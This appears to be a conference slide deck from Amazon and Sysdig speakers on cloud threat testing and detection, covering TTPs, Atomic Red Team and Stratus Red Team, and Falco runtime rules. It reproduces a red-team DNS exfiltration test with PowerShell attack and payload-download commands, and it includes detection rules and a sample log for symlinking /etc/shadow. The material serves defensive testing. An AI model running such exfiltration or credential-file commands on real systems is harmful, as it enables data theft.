Testing is an ART... and Science

Puneet Kulshrestha
Security Engineering Leader, Amazon

Alex Lawrence
Field CISO, Sysdig
Agenda

4  Time, Currency of the Cloud

13  STG, ART, SRT & MITRE

17  Cloud & Runtime Detection

22  Questions?
TIME, Currency of the Cloud
TTPs

TTP analysis can help security teams detect and mitigate attacks by understanding the way threat actors operate. Below we define the three elements of TTPs: tactics, techniques, and procedures.

**Tactics**
In general, tactics are types of activity that cyber criminals use to carry out an attack. For example, gaining unauthorized access to sensitive data, performing lateral movement within a network, or compromising a website.

**Techniques**
Skills are general methods that attackers use to achieve their goals. For example, if the goal is to compromise a website, the technique might be SQL injection. Each tactic can comprise several techniques.

**Procedures**
A procedure is a specific series of steps that cyber criminals can use to carry out an attack. To take the example of SQL injection, the procedure might involve scanning the target website for vulnerabilities, writing a SQL query that includes malicious code, and submitting it to an unsecured form on the website to gain control of the server.
Once, There was a Perimeter

You had a perimeter guarded by a firewall

Detecting intrusions was your breach indicator
Now, There is No Perimeter in the Cloud

Cloud providers own external connections

Cloud is exposed to the outside world

You need to control access to services your team uses

You need to detect unusual activity
**Attack Example**

**SCARLETEEL** An attack that relies on a complex set of tactics, techniques and procedures (TTPs) to gain initial access to a host system and move laterally in the cloud.

Targeted cloud attacks specifically occur on average within 10 minutes of credential discovery (5 minutes of which are well time).
10 Minutes to Cryptomining:

Low Effort/High Reward for Cloud Attackers

On average, to make $8,100, an attacker will need to drive up a $430,000 cloud bill.

Put another way, they make $1 for every $53 their victim is billed.
Data Breach is Expensive

$4.35M Global average total cost of a data breach

The longer it takes to identify and contain, the more it costs

Source: IBM Security Cost of Data Breach Report 2021
Static Analysis + Vulnerability Scanning isn’t enough

The Sysdig TRT analyzed 1.7 million images on Docker Hub.
Static image analysis can identify a bad image by:
  - looking for IoCs
  - malicious IPs
  - credentials in the image layers
Scanning for vulnerabilities helps; however, there are innumerable ways to obfuscate malicious code to hide from static scanners, even if patched.

819 images were indeed malicious, but more than 10% of these images went undetected using a combination of static image analysis and vulnerability scanning.
STG, ART, SRT & MITRE
STG, ART, SRT & MITRE

Sysdig Threat Generator (STG)
- STG hosts a combination of tools, both public and private, for generating test scenarios.

Atomic Red Team™
- A library of tests mapped to the MITRE ATT&CK® framework for testing container security.
  https://github.com/redcanaryco/atomic-red-team

Stratus Red Team™
- A library for testing cloud security on various cloud service providers.
  https://github.com/DataDog/stratus-red-team

MITRE ATT&CK®
- A globally-accessible knowledge base of adversary tactics and techniques based on real-world observations.
- The ATT&CK knowledge base is used as a foundation for the development of specific threat models and methodologies in the private sector, in government, and in the cybersecurity product and service community.
  https://attack.mitre.org/
Atomic Container Tests

T1613 - Container and Resource Discovery
T1612 - Build Image on Host
T1611 - Escape to host
T1610 - Deploy a container
T1609 - Kubernetes Exec Into Container

T1552.007 - Kubernetes List Secrets
T1069.001 - Permission Groups Discovery: Local Groups
T1053.007 - Kubernetes Cronjob
T1046 - Network Service Discovery

https://atomicredteam.io/tags/#containers
ART – T1048 Exfiltration over Alternative Protocol – DNS

DNSExfiltrator allows for transferring (exfiltrate) a file over a DNS request covert channel. This is basically a data leak testing tool allowing to exfiltrate data over a covert channel. Test will fail without a domain under your control with A record and NS record!!! See this github page for more details - https://github.com/RedCanaryCo/AtomicRedTeam/blob/master/atomics/T1048/T1048.md

Supported Platforms: Windows

auto_generated_guid: c943d285-ad3-45ca-b3aa-7cd6500c6a48

<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
<th>Type</th>
<th>Default Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>password</td>
<td>Password used to encrypt the data to be exfiltrated</td>
<td>string</td>
<td>atomic</td>
</tr>
<tr>
<td>domain</td>
<td>The domain name to use for DNS requests</td>
<td>string</td>
<td>target.example.com</td>
</tr>
<tr>
<td>ps_module</td>
<td>DNSExfiltrator powershell ps_module</td>
<td>path</td>
<td>PathToAtomsFolder..\ExternalPayloads\dnsexfil.ps1</td>
</tr>
<tr>
<td>doh</td>
<td>Google or Cloudflare DoH (DNS over HTTP) server</td>
<td>string</td>
<td>google</td>
</tr>
<tr>
<td>time</td>
<td>The time in milliseconds to wait between each DNS request</td>
<td>string</td>
<td>500</td>
</tr>
<tr>
<td>encoding</td>
<td>Set to <code>-b32</code> to use base32 encoding of data. Might be required by some DNS resolvers.</td>
<td>string</td>
<td></td>
</tr>
</tbody>
</table>

**Attack Commands: Run with powershell!**

```powershell
Import-Module $(ps_module)
Invoke-DNSExfiltrator -i $(ps_module) -d $(domain) -p $(password) -doh $(doh) -t $(time) #$(encoding)
```

**Dependencies: Run with powershell!**

Description: DNSExfiltrator powershell file must exist on disk at specified location (#(ps_module))

Check Prereq Commands:

```powershell
if {[Test-Path $(ps_module)} {exit 0] else {exit 1}
```

Get Prereq Commands:

```powershell
New-Item -Type Directory ”PathToAtomsFolder\..\ExternalPayloads" -ErrorAction Ignore -Force | Out-Null
IR "https://raw.githubusercontent.com/RedCanaryCo/AtomicRedTeam/master/atomics/T1048/T1048.ps1"
```

https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1048/T1048.md
Cloud & Runtime Detection
Falco rule engine
ART - T1048 Exfiltration over Alternative Protocol - DNS

#T1048.003 - Exfiltration Over Alternative Protocol - DNS
- list: network_tool_binaries_T1048_003
  items: [ network_tool_binaries, dig ]
- macro: network_tool_procs_T1048_003
  condition: (proc.name in (network_tool_binaries_T1048_003))
- rule: T1048_003 Launch Suspicious Network Tool on Host
  desc: Detect network tools launched on the host
  condition: >
    spawned_process and
    (network_tool_procs_T1048_003 or openssl_connection or proc_in_malicious_download_tools) and
    not netcat_localhost and
    not socat_localhost and
    not user_known_network_tool_activities
  Exceptions:
  output: >
    Network tool launched on host (user.name=%user.name user.loginuid=%user.loginuid proc.name=%proc.name parent_process=%proc.pname gparent=%proc.aname[2] ggpparent=%proc.aname[3] gggparent=%proc.aname[4] ggggparent=%proc.aname[5] proc.cmdline=%proc.cmdline evt.type=%evt.type evt.res=%evt.res proc.pid=%proc.pid proc.cwd=%proc.cwd proc.ppid=%proc.ppid proc.cmdline=%proc.cmdline proc.sid=%proc.sid proc.exepath=%proc.exepath user.uid=%user.uid user.loginname=%user.loginname group.gid=%group.gid group.name=%group.name container.id=%container.id container.name=%container.name)
Falco rule engine

- **macro**: `create_symlink`
  - condition: (evt.type in (symlink, symlinkat) and evt.dir=\(<\))

  (user=root user_loginuid=-1 command=ln -sf /etc/shadow /tmp/marcel pid=1950 target=/etc/shadow
  linkpath=/tmp/marcel parent_process=create_symlink_)

- **rule**: Create Symlinks Over Sensitive Files
  - **desc**: Detect symlink created over sensitive files
  - **condition**: >
    - `create_symlink`
    - (evt.arg.target in (sensitive_file_names) or evt.arg.target in (sensitive_directory_names))
  - **output**: >
    - Symlinks created over sensitive files (user=%user.name user_loginuid=%user.loginuid command=%proc.cmdline
      pid=%proc.pid target=%evt.arg.target linkpath=%evt.arg.linkpath parent_process=%proc.pname)
  - **priority**: WARNING
  - **tags**: [host, container, filesystem, mitre_exfiltration, mitre_credential_access, T1020, T1083, T1212,
    T1552, T1555]

- **list**: sensitive_file_names
  - items: [/etc/shadow, /etc/sudoers, /etc/pam.conf, /etc/security/pwquality.conf]
Common Examples

<table>
<thead>
<tr>
<th>Event Type</th>
<th>Conditions</th>
</tr>
</thead>
<tbody>
<tr>
<td>A shell is run in a container</td>
<td>container.id != host and proc.name = bash</td>
</tr>
<tr>
<td>Overwrite system binaries</td>
<td>fd.directory in (/bin, /sbin, /usr/bin, /usr/sbin) and write</td>
</tr>
<tr>
<td>Container namespace change</td>
<td>evt.type = setns and not proc.name in (docker, sysdig)</td>
</tr>
<tr>
<td>Non-device files written in /dev</td>
<td>(evt.type = create or evt.arg.flags contains O_CREAT) and proc.name != blkid and fd.directory = /dev and fd.name != /dev/null</td>
</tr>
<tr>
<td>Process tries to access camera</td>
<td>evt.type = open and fd.name = /dev/video0 and not proc.name in (skype, webex)</td>
</tr>
</tbody>
</table>
Questions?